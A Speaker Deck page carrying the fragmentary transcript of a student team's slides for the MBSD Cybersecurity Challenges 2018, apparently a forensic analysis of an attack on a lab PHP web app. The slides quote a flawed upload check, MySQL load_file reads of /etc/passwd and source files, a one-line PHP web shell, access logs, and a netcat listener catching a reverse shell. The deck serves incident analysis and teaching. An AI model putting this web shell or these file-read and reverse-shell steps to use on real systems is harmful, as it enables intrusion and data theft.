Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
MBSD Cybersecurity Challenges 2018 最終審査会 発表スライド
Search
8ayac
December 12, 2018
Technology
1.9k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
MBSD Cybersecurity Challenges 2018 最終審査会 発表スライド
チームIPFactoryとして発表したもの
8ayac
December 12, 2018
More Decks by 8ayac
See All by 8ayac
Free Bugs Campaign
8ayac
0
990
MBSD Cybersecurity Challenges 2017 最終審査会 発表スライド
8ayac
0
670
Other Decks in Technology
See All in Technology
C#未経験の僕がAIに読めるコードを書かせるまで
maguroalternative
0
210
事業課題から技術的負債に向き合う
sansantech
PRO
2
2.2k
その Lambda、8分で 管理者権限まで奪われます
k1nakayama
7
3.5k
技術的負債から考える、AI時代のエンジニアリング投資 — ビズリーチの技術的負債と向き合った経験から、変更し続けられるソフトウェアを考える/ technical-debt-con2026
visional_engineering_and_design
4
3.5k
「ピッケル本」日本語版は4.0(第6版)が出版されるべき / pickaxe4-nagoyark05
kakutani
2
270
AIで社員の自主発信に広報目線を組み込む
_mossann_t
0
140
Making AI Agents Safe and Fast- Jev, Obsidian, and the Meta-Harness
x5gtrn
PRO
0
110
AIは推し活である。
kurazuuuuuu
1
930
10Xに技術的負債をもたらした「2つの境界の歪み」その構造と解消への営み
10xinc
0
2.3k
アプリをもっと"iOSアプリっぽく"する小さな工夫 / Small Touches That Make Your App Feel More Like an iOS App
matsuji
2
1k
今話題のAI「Jev」って何? 宇宙最速で学ぶ会
minorun365
PRO
30
18k
Why Agent Cost Needs Observability
nttcom
0
120
Featured
See All Featured
Agile Leadership in an Agile Organization
kimpetersen
PRO
0
240
Groundhog Day: Seeking Process in Gaming for Health
codingconduct
0
360
Documentation Writing (for coders)
carmenintech
77
5.5k
Breaking role norms: Why Content Design is so much more than writing copy - Taylor Woolridge
uxyall
1
410
Why Your Marketing Sucks and What You Can Do About It - Sophie Logan
marketingsoph
0
410
職位にかかわらず全員がリーダーシップを発揮するチーム作り / Building a team where everyone can demonstrate leadership regardless of position
madoxten
69
65k
Imperfection Machines: The Place of Print at Facebook
scottboms
270
14k
How Software Deployment tools have changed in the past 20 years
geshan
1
34k
Between Models and Reality
mayunak
4
460
Test your architecture with Archunit
thirion
2
2.4k
My Coaching Mixtape
mlcsv
0
320
Odyssey Design
rkendrick25
PRO
2
810
Transcript
MBSD Cybersecurity Challenges 2018
None
None
▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋
▋ ▋ ► ► ► ►
▋ ► ► ► ► ▋ ► ► ►
None
None
sendmessage.php ▋ ▋ ▋ $prefix = md5(time() . $user->id); $tname
= $prefix . basename($_FILES["file"]["name"]); if (move_uploaded_file($_FILES['file']['tmp_name'], "./tmp/".$tname) && preg_match("/^[^.]+¥.jpg$/",$tname)) {
sendmessage.php (2018/9/21 14:46:48) 180921 14:39:24 26247 Connect
[email protected]
on mysql
180921 14:41:06 26247 Query select load_file('/etc/hosts') 180921 14:41:12 26247 Query select load_file('/etc/passwd') 180921 14:42:30 26247 Query select load_file('/etc/issue') 180921 14:42:45 26247 Query select load_file('/etc/httpd/conf/httpd.conf') 180921 14:43:32 26247 Query select load_file('/var/www/html/webmix3/index.php') 180921 14:44:30 26247 Query select load_file('/var/www/html/webmix3/login.php') 180921 14:44:54 26247 Query select load_file('/var/www/html/webmix3/libs.php') 180921 14:45:25 26247 Query select load_file('/var/www/html/webmix3/class/class.php') 180921 14:45:45 26247 Query select load_file('/var/www/html/webmix3/class/User.php') 180921 14:46:48 26247 Query select load_file('/var/www/html/webmix3/sendmessage.php')
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </>
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
[Fri Sep 21 15:14:01 2018] [error] [client 192.168.11.204] PHP Notice: Undefined index: cmd in /var/www/html/webmix3/tmp/7449f92ea0f26445e89ae968227efaabtest.php on line 1 [Fri Sep 21 15:14:01 2018] [error] [client 192.168.11.204] PHP Warning: system(): Cannot execute a blank command in /var/www/html/webmix3/tmp/7449f92ea0f26445e89ae968227efaabtest.php on line 1
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [21/Sep/2018:15:12:46 +0900] "POST /sendmessage.php HTTP/1.1" 200 1783 "http://192.168.11.2/sendmessage.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
(2018/9/21 15:29:02) $ nc –lvp 4444 192.168.11.2 </>
(2018/9/21 15:29:02) 192.168.11.2 </> 4444/TCPで待受中…
(2018/9/21 15:29:02) 192.168.11.2 </> 4444/TCPで待受中…
(2018/9/21 15:29:02) 192.168.11.2 </> $ nc -lvp 4444 Listening on
[0.0.0.0] (family 0, port 4444) Connection from 192.168.11.204 64495 received! sh-4.1$
(2018/9/21 15:29:02) 192.168.11.2 </> $ nc -lvp 4444 Listening on
[0.0.0.0] (family 0, port 4444) Connection from 192.168.11.204 64495 received! sh-4.1$ 192.168.11.204 - - [21/Sep/2018:15:29:02 +0900] "POST /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
None
▋ ▋ ▋
▋ ▋ ▋ POST
▋ ▋ ▋ POST POST
( ) ▋ ► ►
POST ▋ ► ►
None
38
▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ► ▋ ► ▋ ►
▋ ▋
▋ ► ► ►
None